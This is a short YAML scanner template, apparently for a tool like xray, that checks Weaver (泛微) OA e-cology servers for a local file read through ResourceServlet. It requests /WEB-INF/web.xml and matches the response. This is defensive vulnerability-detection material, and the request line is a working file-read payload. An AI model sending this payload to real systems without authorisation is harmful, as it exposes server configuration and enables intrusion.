id: ecology-resourceservlet-lfi

info:
  name: 泛微OA e-cology ResourceServlet 本地文件读取
  author: l1nk3r
  severity: critical
  verified: true
  description: |-
    泛微OA e-cology springframework 本地文件读取
  reference:
    - https://www.weaver.com.cn/cs/securityDownload.asp
  tags: weaver,ecology,lfi
  created: 2023/06/23

rules:
  r0:
    request:
      method: GET
      path: /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/web.xml
    expression: response.status == 200 && response.body.bcontains(b"<url-pattern>/weaver/")
expression: r0()